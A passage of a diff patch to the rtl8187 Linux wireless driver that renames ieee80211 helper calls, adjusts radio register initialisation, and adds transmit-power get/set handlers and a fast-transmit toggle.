&= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // 